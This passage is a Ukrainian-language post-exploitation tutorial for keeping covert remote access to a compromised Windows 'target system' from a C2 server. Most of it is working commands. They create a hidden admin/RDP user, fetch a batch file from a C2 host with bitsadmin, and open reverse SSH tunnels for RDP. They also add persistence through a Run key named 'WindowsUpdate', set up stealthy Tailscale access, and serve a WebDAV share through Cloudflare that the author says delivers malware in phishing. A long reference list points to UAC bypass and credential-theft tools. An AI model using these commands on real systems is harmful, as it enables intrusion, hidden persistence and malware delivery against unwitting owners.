@echo off net user rdpuser Password123 /add net localgroup "Remote Desktop Users" rdpuser /add reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v rdpuser /t REG_DWORD /d 0 /f pause
bitsadmin /transfer dl5 /download /priority high https://c2-server.com/create_user.bat "%USERPROFILE%\create_user.bat"powershell -ep bypass– перейти в оболонку PowerShell без обриву поточної сесії CMD;Start-Process -FilePath "create_user.bat" -Verb runAs– запустити виконання файлу від імені адміністратора (потребує схвалення запиту UAC збоку користувача);net user– перевірити чи новий користувач з’явився в переліку.
Встановлюємо RDPWrapper для мультисесій RDP:
cd C:\ mkdir C:\rdpwrap bitsadmin /transfer dl44 /download /priority high https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWrap-v1.6.2.zip "C:\RDPWrap\rdpwrap.zip" powershell -c "Expand-Archive rdpwrap.zip -DestinationPath C:\rdpwrap" bitsadmin /transfer dl45 /download /priority high https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini "C:\rdpwrap\rdpwrap.ini" C:\rdpwrap\install.bat copy /y C:\rdpwrap\rdpwrap.ini "C:\Program Files\RDP Wrapper\rdpwrap.ini" net stop TermService /y net start TermService
Розгортаємо SSH-сервер
На цільовій системі генеруємо ключі SSH:
where /r C:\ ssh-keygen.exe C:\path\to\ssh-keygen.exe -t rsa -f %USERPROFILE%\.ssh\pubkey -N "" type %USERPROFILE%\.ssh\pubkey.pub
Виставляємо права доступу для публічного ключа:
icacls "%USERPROFILE%\.ssh\pubkey.pub" /reset icacls "%USERPROFILE%\.ssh\pubkey.pub" /inheritance:r /grant:r "%USERNAME%:F" icacls "%USERPROFILE%\.ssh\pubkey.pub"
На С2-сервері:
встановлюємо Bitvise SSH Server. Вказуємо у налаштуваннях публічний порт SSH (можна використати нестандартний порт VPN, якщо є підтримка port forwarding і вказати його у налаштуваннях замість 22 порта). Додаємо назву облікового запису хост-машини до якої буде підключатися вдідалена – у налаштуваннях Virtual User. Там же імпортуємо публічний SSH-ключ клієнтської машини.
Перевіряємо чи сервер слухає порт SSH: netstat -an | findstr XXXX
Тепер тестуємо SSH-з’єднання з цільової системи:
where /r C:\ ssh.exe– шукаємо де розташований виконуваний файл SSH.C:\path\to\ssh.exe -i "C:\Users\admin\.ssh\privatekey" -p <ssh_public_port_с2> <username_с2>@<ip_address_public_с2> -o StrictHostKeyChecking=no– запускаємо SSH-з’єднання з сервером.
Підказка: якщо виникає проблема з виконанням ssh.exe (наприклад, через обмежений доступ до папок), то можна перекопіювати його в домашню папку користувача і запускати звідти:
copy C:\Windows\WinSxS\amd64_openssh-client-components-onecore_31bf3856ad364e35_10.0.19041.5737_none_7489f024d1fb1b76\ssh.exe C:\Users\username\ssh.exe,C:\Users\username\ssh.exe -V
При успішному підключенні в Bitvise одразу ж з’явиться випадаюче вікно з новим сеансом:
Перевірити статус з’єднання і керувати ним можна у Bitvise SSH Server на вкладці “Connections”. Якщо натиснути правою кнопкою миші по ньому і обрати з випадаючого меню “Disconnect connection” – з’єднання закриється. Можна також натиснути “Block orogonating address”, що заблокує IP-адресу клієнта і внесе її у чорний список.
Підключаємося по RDP через Reverse SSH Tunnel
На віддаленій системі:
C:\path\to\ssh.exe -N -R 13389:127.0.0.1:3389 <username_c2>@<ip_c2> -i "C:\Users\admin\.ssh\privatekey" -p <ssh_port_c2> -o StrictHostKeyChecking=no
На хост-системі підключаємося по RDP, виконавши: mstsc. З’явиться з додатком для підключення до віддаленого робочого столу Windows. Вказуємо адресу: 127.0.0.1:13389 і підключаємося. Або однією командою: mstsc /v:localhost:13389.
Потрібно буде ввести логін і пароль користувача віддаленої системи (якого було створено на попередньому етапі), після чого схвалити сертифікат:
Тепер завдяки RDPWrapper, ми можемо працювати в системі одночасно у двох різних облікових записах. Без RDPWrapper у Windows не підтримуються одночасні сесії (один користувач змушений буде розлогінитися, щоб зайшов інший).
Як зробити аналогічний тунелінг на Linux С2?
Розгорнути SSH-сервер на Linux:
sudo pacman -S openssh sudo nano /etc/ssh/sshd_config #змінити порт 22 на публічний порт. sudo systemctl restart sshd #перезавантажитись. sudo netstat -tlnp | grep ssh #перевірити чи сервіс слухає на відповідному порту. (sudo systemctl enable --now sshd #за бажанням додати в автозавантаження)
З цільової системи просто підключитися до сервера:
C:\path\to\ssh.exe -N -R 3389:127.0.0.1:3389 c2_login@c2_ip -i "%USERPROFILE%\.ssh\pubkey" -p 65331 -o StrictHostKeyChecking=no
Примітка: ключі вже мають бути налаштовані. Послідовність така:
вставити публічний ключ з цільової системи в ~/.ssh/authorized_keys на сервері виставити права - chmod 600 ~/.ssh/authorized_keys перевірити - cat ~/.ssh/authorized_keys виставити PubkeyAuthentication yes і PasswordAuthentification no в файл конфігурації на сервері.
На С2-сервері підключаємося в Remmina 127.0.0.1:3389, вказавши логін та пароль користувача цільової системи.
Якщо з’єднання не встановлюється, варто перевірити тип і PID процесів, які займають порт на сервері: sudo lsof -i :XXXX. Обірвати sudo kill -9 <pid> та спробувати підключитись знову.
Додаємо RDP-тунель в автозавантаження
Створюємо скрипт: rdp_tunnel.bat:
cd C:\Users\Admin echo @echo off > rdp_tunnel.bat echo :loop >> rdp_tunnel.bat echo "C:\Windows\WinSxS\amd64_openssh-client-components-onecore_31bf3856ad364e35_10.0.19041.3570_none_74a42cd0d1e69b3b\ssh.exe" -N -R 13389:127.0.0.1:3389 username@X.X.X.X -i "C:\Users\admin\.ssh\pubkey" -p XXXXX -o StrictHostKeyChecking=no >> rdp_tunnel.bat echo timeout /t 5 >> rdp_tunnel.bat echo goto loop >> rdp_tunnel.bat
Додаємо в автозавантаження:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Admin\rdp_tunnel.bat" /f
Запускаємо:
start /B rdp_tunnel.bat
Tailscale + OpenSSH
Суть методу – об’єднати обидва пристрої – і цільовий, і атакуючий – в одній мережі Tailscale, що дозволить комп’ютерами під’єднюватись через інтернет один до одного. У даному випадку, ми налаштовуємо з’єднання по протоколу SSH з допомогою ключа.
Встановлення OpenSSH (Powershell):
Get-WindowsCapability -Online | ? Name -like 'OpenSSH.Server*' # перевіряємо, чи встановлений OpenSSH Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 # встановлюємо OpenSSH Start-Service sshd Get-Service sshd Set-Service -Name sshd -StartupType 'Automatic' schtasks /create /tn "StartSSHD" /tr "sc start sshd" /sc onstart /ru SYSTEM /rl highest /f
Встановлення вручну для Windows 11 (Powershell):
Invoke-WebRequest -Uri "https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64-v9.5.0.0.msi" -OutFile "$env:TEMP\openssh.msi" Start-Process msiexec.exe -ArgumentList "/i `"$env:TEMP\openssh.msi`" /qn" -Wait Start-Service sshd Set-Service -Name sshd -StartupType 'Automatic'
Дозволяємо в браундмауері з’єднання по SSH порту (Poweshell):
New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22
Встановлення Tailscale на цільовій системі (Powershell):
Invoke-WebRequest -Uri "https://pkgs.tailscale.com/stable/tailscale-setup-latest.exe" -OutFile "$env:TEMP\tailscale.exe" Start-Process "$env:TEMP\tailscale.exe" -ArgumentList "/S" -Wait Start-Service Tailscale
Можна також встановити Tailscale через службу winget:
winget install --id=Tailscale.Tailscale -e --silent
Вилучаємо вікно Tailscale GUI з автозапуску:
PS> Remove-Item "$env:PROGRAMDATA\Microsoft\Windows\Start Menu\Programs\Startup\Tailscale.lnk" -Force
Тепер встановлюємо Tailscale на С2-сервері, попередньо зареєструвавши обліковий запис.
Перейти у налаштування Settings -> Keys і згенерувати Auth Key.
На цільовій системі консолі CMD (в новій сесії) виконати:
tailscale up --auth-key tskey-auth-xxxxxxxtailscale ip -4– перевірити IP-адресу.
У висновку, два пристрої будуть під’єднані до однієї Tailscale мережі. Тепер зможемо підключитися з одного до іншого:
ssh <username>@x.x.x.x.x– вказуємо ім’я облікового запису (whoami) та IP-адресу в мережі Tailscale.
Однак, рекомендується попередньо згенерувати SSH-ключі доступу і підключатися з допомогою публічного ключа:
ssh-keygen -t ed25519 -f "%USERPROFILE%\.ssh\id_ed25519" -N ""– генеруємо ключі на С2-сервері.PS> Get-Content "$env:USERPROFILE\.ssh\id_ed25519.pub"– вивести вміст публічного ключа.
Тепер потрібно додати публічний ключ SSH на цільову систему і налаштувати конфігурацію служби sshd:
New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\.ssh"
Add-Content -Path "$env:USERPROFILE\.ssh\authorized_keys" -Value "xxxxxxxxxxxxxxxxx"
icacls "$env:USERPROFILE\.ssh\authorized_keys" /inheritance:r /grant "${env:USERNAME}:(F)"
icacls "$env:USERPROFILE\.ssh"
(Get-Content "$env:ProgramData\ssh\sshd_config") -replace '#PubkeyAuthentication yes', 'PubkeyAuthentication yes' | Set-Content "$env:ProgramData\ssh\sshd_config"
(Get-Content "$env:ProgramData\ssh\sshd_config") -replace '#PasswordAuthentication yes', 'PasswordAuthentication no' | Set-Content "$env:ProgramData\ssh\sshd_config" Якщо обліковий запис користувача на цільовій системі є Адміністратором, то додатково:
Copy-Item "$env:USERPROFILE\.ssh\authorized_keys" "$env:ProgramData\ssh\administrators_authorized_keys" -Force icacls "$env:ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "SYSTEM:(F)" /grant "BUILTIN\Administrators:(F)"
Примітка:
У Windows OpenSSH працює за таким принципом:
Якщо користувач — адміністратор, SSH шукає ключі тільки в
C:\ProgramData\ssh\administrators_authorized_keys. Файл.ssh\authorized_keysу профілі ігнорується для адмінів.
Якщо користувач — звичайний (не адмін), SSH шукає ключі у%USERPROFILE%\.ssh\authorized_keys.
WebDAV tunneling
Суть цього методу полягає у тому, аби підключити папку на C2-сервері як мережевий ресурс на цільовій системі.
Це можна зробити з допомогою додатків RClone і Cloudflared.
Запустити на сервері:
rclone serve webdav /path/to/ --addr :xxxx– розгортаємо WebDAV-сервер../cloudflared tunnel --url http://localhost:xxxx– портуємо WebDAV порт через Cloudflare Tunnel в відкритий інтернет.
На цільовій системі:
Створити файл з розширенням .url з наступним змістом:
[InternetShortcut] URL=\\xxxxxxxxxxxxxxx.trycloudflare.com@SSL\DavWWWRoot\
Відкрити URL-файл і папка з віддаленого сервера одразу відкриється на цільовій системі у штатному провіднику Windows (Explorer).
Даний спосіб дозволяє швидко доставляти будь-які файли на цільовий комп’ютер, зокрема ШПЗ. Його часто застосовують у фішингових операціях з елементами маскування фвйлів. Також ідеально в віддаленому адмініструванні систем.
Джерела та посилання
- GitHub. Лайфхаки китайського пентестера 3gstudent
- GitHub. Awesome Injection.
- GitHub. PrivescCheck.
- GitHub. WinPEAS.ps1
- Cyber Anarchy Squad Techniques
- Rutracker. Windows 10.
- 3gstudent. Аналіз експлуатації обходу UAC шляхом моделювання довіреного каталогу
- 3gstudent. Нотатки щодо використання SilentCleanup для обходу UAC
- 3gstudent. Використання CLR для обходу UAC
- 3gstudent. Обхід UAC за допомогою COM-компонента IARPUninstallStringLauncher
- 3gstudent. Аналіз експлуатації Invoke-WScriptBypassUAC в Empire
- 3gstudent. Study Notes of using sdclt.exe to bypass UAC
- 3gstudent. Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)
- Hackingarticles. Windows for pentester Certutil
- GitHub. Lazagne – Credentials recovery project
- SharpChrome – Chromium-based browser credential exctraction
- GitHub. HackBrowserData
- Sekurak. Небезпечна атака соціальної інженерії з використанням відомого програмного забезпечення CPUID
- GitHub. CPU-Z 2.19 Supply Chain Attack – Malware Analysis Report
- Sekurak. Вразливість нульового дня в Adobe Reader: просто відкрийте заражений PDF-файл, щоб отримати контроль над своєю системою
- GitHub. Adobe Reader Zero-Day — Full Attack Chain Analysis
- Gmail. File Types Blocked.
- CYDERES. BlueHammer: Inside the Windows Zero-Day That Turns Defender Against Itself
- GitHub. Nightmare Eclipse.
- HUNTRESS. Nightmare-Eclipse Tooling Moves From Public PoC to Real-World Intrusion
- HUNTRESS. From Custom Scripts to Commodity RATs: A Threat Actor’s Evolution to PureRAT
- BARRACUDA. Nightmare-Eclipse: six zero-days, six weeks and one big grudge
- Qualys. Don’t Wait for a Patch. Mitigate RedSun Zero-Day Risk in Microsoft Defender Today
- Deadclipse Binaries
- Nightmare Eclipse Onion Mirror
- Church of Malware
- Github. SNEK Blue War Hammer – Vulnerability Documentation & Reimplementation – SNEK Blue War Hammer
- Github. Defendnot
- GitHub. Windows UAC Bypass.
- 0x12 Dark Development. Eventvwr.exe UAC Bypass via mscfile
- Medium. Ghost Escalation: Bypassing UAC for Covert Post-Exploitation
- Medium. Windows Fonts Exploitation in 2025 — Bypassing UAC with Eudcedit
- Fluffy Wolf Attack Chain
- LOLBAS Project
- gbhackers. PureRAT Hides PE Payloads in PNGs for Fileless Execution
- Medium. How to Analyze Windows Executable Files Using PEStudio?
- Red Team Notes
- Anonymous Repos (Onion)
- Project NightCrawler Blog
- Project NightCrawler Repo
- ChurchOfMalware Git
- NightMare Eclipse Blogspot
- Cato CTRL™ Threat Research: Operation Poisson – Analyzing a Cybercriminal’s Entire Operation
- Junior Hacker Used Tailscale and OpenSSH to Keep Access After His C2 Went Offline
- GitHub. Havoc.
- Microsoft. Powershell F.A.Q.
- Github. Awesome Malware Persistence.
- Andrea Fortuna. Malware persistence techniques
- Pentestlab. Persistence – Image File Execution Options Injection
- Muhammad Hassoub. Purple Team Series | #1 — Image File Execution Options Injection (T1546.012)
- MSFVenom CheatSheet
- GitHub. Priv2Admin
- GitHub. RogueWinRM
- GitHub. PayloadAllTheThings. Windows Privilege Escalation.
- Potatoes – Windows Privilege Escalation
- Windows Weakness Presentation
- Establishing Registry Persistence via SQL Server with PowerUpSQL
- GitHub. PowerSploit
- GitHub. PowerView.ps1 recon script
- Windows Doc. Approved Verbs for Powershell Commands
- Windows Doc. Powershell comparsion operators.
Автор: © Konrad Ravenstone, KR. Laboratories Research

























